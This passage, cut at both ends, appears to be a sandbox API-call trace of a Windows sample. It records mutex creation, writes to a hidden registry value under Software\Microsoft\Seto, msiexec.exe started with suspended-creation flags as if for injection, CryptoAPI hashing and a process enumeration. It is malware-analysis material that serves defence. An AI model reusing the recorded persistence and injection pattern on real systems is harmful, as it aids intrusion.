[4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x4f1f2fc, cchMax=40 | out: lpsz="{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 39 [0102.658] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=0, lpName="Local\\{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 0x13e8 [0102.658] WaitForSingleObject (hHandle=0x13e8, dwMilliseconds=0xffffffff) returned 0x0 [0102.658] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x1) returned 0x102 [0102.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f1ef78, cbMultiByte=4, lpWideCharStr=0x2c72aa0, cchWideChar=10 | out: lpWideCharStr="Seto") returned 4 [0102.671] PathCombineW (in: pszDest=0x2c72a30, pszDir="Software\\Microsoft", pszFile="Seto" | out: pszDest="Software\\Microsoft\\Seto") returned="Software\\Microsoft\\Seto" [0102.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4f1ef8c, cbMultiByte=9, lpWideCharStr=0x2c72aa0, cchWideChar=10 | out: lpWideCharStr="Yqlozyzuz") returned 9 [0102.672] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x4f1efa0 | out: phkResult=0x4f1efa0*=0x13e0) returned 0x0 [0102.672] RegQueryValueExW (in: hKey=0x13e0, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x4f1f2bc, lpData=0x0, lpcbData=0x4f1ef9c*=0x0 | out: lpType=0x4f1f2bc*=0x0, lpData=0x0, lpcbData=0x4f1ef9c*=0x0) returned 0x2 [0102.672] RegCloseKey (hKey=0x13e0) returned 0x0 [0102.672] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x3e8) returned 0x102 [0104.040] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13ac [0104.042] Process32FirstW (in: hSnapshot=0x13ac, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0104.043] CloseHandle (hObject=0x13ac) returned 1 [0104.043] GetWindowsDirectoryW (in: lpBuffer=0x4f1f3c0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0104.043] wvnsprintfW (in: pszDest=0x4f1f5d0, cchDest=260, pszFmt="%s\\syswow64\\msiexec.exe", arglist=0x4f1f398 | out: pszDest="C:\\Windows\\syswow64\\msiexec.exe") returned 31 [0104.043] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\syswow64\\msiexec.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x4f1f2b8*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4f1f2a0 | out: lpCommandLine="C:\\Windows\\syswow64\\msiexec.exe", lpProcessInformation=0x4f1f2a0*(hProcess=0x1354, hThread=0x1384, dwProcessId=0x65c, dwThreadId=0x67c)) returned 1 [0104.392] CloseHandle (hObject=0x1384) returned 1 [0104.392] CloseHandle (hObject=0x1354) returned 1 [0104.393] StringFromGUID2 (in: rguid=0x4f1ea98*(Data1=0x8e6a7e3d, Data2=0xcdd7, Data3=0x345a, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x2c729ce, cchMax=40 | out: lpsz="{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 39 [0104.393] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x1354 [0104.393] WaitForSingleObject (hHandle=0x1354, dwMilliseconds=0xffffffff) returned 0x0 [0104.393] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x4f1eef0 | out: phkResult=0x4f1eef0*=0x1384) returned 0x0 [0104.393] RegQueryValueExW (in: hKey=0x1384, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x4f1f20c, lpData=0x0, lpcbData=0x4f1eeec*=0x0 | out: lpType=0x4f1f20c*=0x0, lpData=0x0, lpcbData=0x4f1eeec*=0x0) returned 0x2 [0104.393] RegCloseKey (hKey=0x1384) returned 0x0 [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.393] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.394] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.395] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] GetTickCount () returned 0x2112f [0104.396] CryptAcquireContextW (in: phProv=0x4f1ed18, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x4f1ed18*=0x46e5450) returned 1 [0104.397] CryptCreateHash (in: hProv=0x46e5450, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x4f1ed10 | out: phHash=0x4f1ed10) returned 1 [0104.397] CryptHashData (hHash=0x4722380, pbData=0x46ab750, dwDataLen=0x3f5, dwFlags=0x0) returned 1 [0104.397] CryptGetHashParam (in: hHash=0x4722380, dwParam=0x2, pbData=0x46ab740, pdwDataLen=0x4f1ed0c, dwFlags=0x0 | out: pbData=0x46ab740, pdwDataLen=0x4f1ed0c) returned 1 [0104.397] CryptDestroyHash (hHash=0x4722380) returned 1 [0104.397] CryptReleaseContext (hProv=0x46e5450, dwFlags=0x0) returned 1 [0104.397] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x1400000002, lpSecurityAttributes=0x0, phkResult=0x4f1ef78, lpdwDisposition=0x0 | out: phkResult=0x4f1ef78*=0x1384, lpdwDisposition=0x0) returned 0x0 [0104.397] RegSetValueExW (in: hKey=0x1384, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x46ab720*, cbData=0x425 | out: lpData=0x46ab720*) returned 0x0 [0104.397] RegCloseKey (hKey=0x1384) returned 0x0 [0104.397] ReleaseMutex (hMutex=0x1354) returned 1 [0104.397] CloseHandle (hObject=0x1354) returned 1 [0104.397] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x3e8) returned 0x102 [0105.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaf0 [0105.453] Process32FirstW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.454] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.455] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.455] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.456] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.457] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.458] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.459] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.459] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.460] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0105.461] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.462] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.463] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.463] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.465] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.465] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0105.466] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.467] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.468] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.469] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.470] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.471] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.471] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.472] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0105.473] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0105.474] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0105.475] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0105.475] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0105.476] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0105.477] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0105.478] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0105.479] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0105.480] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0105.480] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0105.481] Process32NextW (in: 